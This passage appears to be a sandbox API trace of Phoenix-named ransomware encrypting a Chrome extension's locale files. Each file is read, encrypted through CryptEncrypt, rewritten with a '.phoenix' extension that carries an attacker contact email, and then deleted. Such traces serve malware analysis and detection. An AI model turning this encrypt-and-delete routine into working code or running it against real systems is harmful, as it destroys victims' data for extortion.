	[0259.818] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0259.818] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0259.818] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0259.818] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0259.819] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151480) returned 1
	[0259.819] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0259.819] ReadFile (in: hFile=0x250, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x112, lpOverlapped=0x0) returned 1
	[0259.821] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x120, dwBufLen=0x120 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x120) returned 1
	[0259.821] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x120, lpOverlapped=0x0) returned 1
	[0259.832] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151740) returned 1
	[0259.832] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0259.832] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0259.832] CryptDestroyKey (hKey=0x151740) returned 1
	[0259.832] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0259.847] CryptDestroyKey (hKey=0x151480) returned 1
	[0259.847] CloseHandle (hObject=0x250) returned 1
	[0259.847] CloseHandle (hObject=0x240) returned 1
	[0259.847] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json")) returned 1
	[0259.848] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0259.849] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0259.849] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=287) returned 1
	[0259.849] CloseHandle (hObject=0x240) returned 1
	[0259.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json")) returned 0x20
	[0259.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.850] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0259.850] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0259.850] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0259.850] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0259.851] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151540) returned 1
	[0259.851] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0259.851] ReadFile (in: hFile=0x240, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x11f, lpOverlapped=0x0) returned 1
	[0259.852] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x120, dwBufLen=0x120 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x120) returned 1
	[0259.852] WriteFile (in: hFile=0x250, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x120, lpOverlapped=0x0) returned 1
	[0259.853] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151740) returned 1
	[0259.853] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0259.854] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0259.854] CryptDestroyKey (hKey=0x151740) returned 1
	[0259.854] WriteFile (in: hFile=0x250, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0259.868] CryptDestroyKey (hKey=0x151540) returned 1
	[0259.868] CloseHandle (hObject=0x240) returned 1
	[0259.868] CloseHandle (hObject=0x250) returned 1
	[0259.868] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json")) returned 1
	[0259.869] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0259.869] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0259.870] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=270) returned 1
	[0259.870] CloseHandle (hObject=0x250) returned 1
	[0259.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json")) returned 0x20
	[0259.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.870] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0259.870] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0259.870] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0259.870] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0259.871] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1517c0) returned 1
	[0259.871] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0259.871] ReadFile (in: hFile=0x250, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x10e, lpOverlapped=0x0) returned 1
	[0259.872] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110, dwBufLen=0x110 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110) returned 1
	[0259.872] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x110, lpOverlapped=0x0) returned 1
	[0259.873] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151100) returned 1
	[0259.873] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0259.873] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0259.873] CryptDestroyKey (hKey=0x151100) returned 1
	[0259.874] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0259.907] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0259.907] CloseHandle (hObject=0x250) returned 1
	[0259.907] CloseHandle (hObject=0x240) returned 1
	[0259.907] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json")) returned 1
	[0259.908] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0259.908] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0259.908] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=279) returned 1
	[0259.908] CloseHandle (hObject=0x240) returned 1
	[0259.908] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json")) returned 0x20
	[0259.908] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.908] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0259.909] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0259.909] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0259.909] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0259.909] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151340) returned 1
	[0259.909] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0259.909] ReadFile (in: hFile=0x240, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x117, lpOverlapped=0x0) returned 1
	[0260.000] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x120, dwBufLen=0x120 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x120) returned 1
	[0260.000] WriteFile (in: hFile=0x250, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x120, lpOverlapped=0x0) returned 1
	[0260.001] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151300) returned 1
	[0260.001] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.001] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0260.001] CryptDestroyKey (hKey=0x151300) returned 1
	[0260.001] WriteFile (in: hFile=0x250, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0260.002] CryptDestroyKey (hKey=0x151340) returned 1
	[0260.002] CloseHandle (hObject=0x240) returned 1
	[0260.002] CloseHandle (hObject=0x250) returned 1
	[0260.002] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json")) returned 1
	[0260.003] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0260.003] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0260.004] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=267) returned 1
	[0260.004] CloseHandle (hObject=0x250) returned 1
	[0260.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_tw\\messages.json")) returned 0x20
	[0260.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_tw\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.004] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0260.004] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.004] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.004] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_tw\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0260.004] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151100) returned 1
	[0260.005] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.005] ReadFile (in: hFile=0x250, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x10b, lpOverlapped=0x0) returned 1
	[0260.005] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110, dwBufLen=0x110 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110) returned 1
	[0260.005] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x110, lpOverlapped=0x0) returned 1
	[0260.006] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151780) returned 1
	[0260.006] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.006] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0260.010] CryptDestroyKey (hKey=0x151780) returned 1
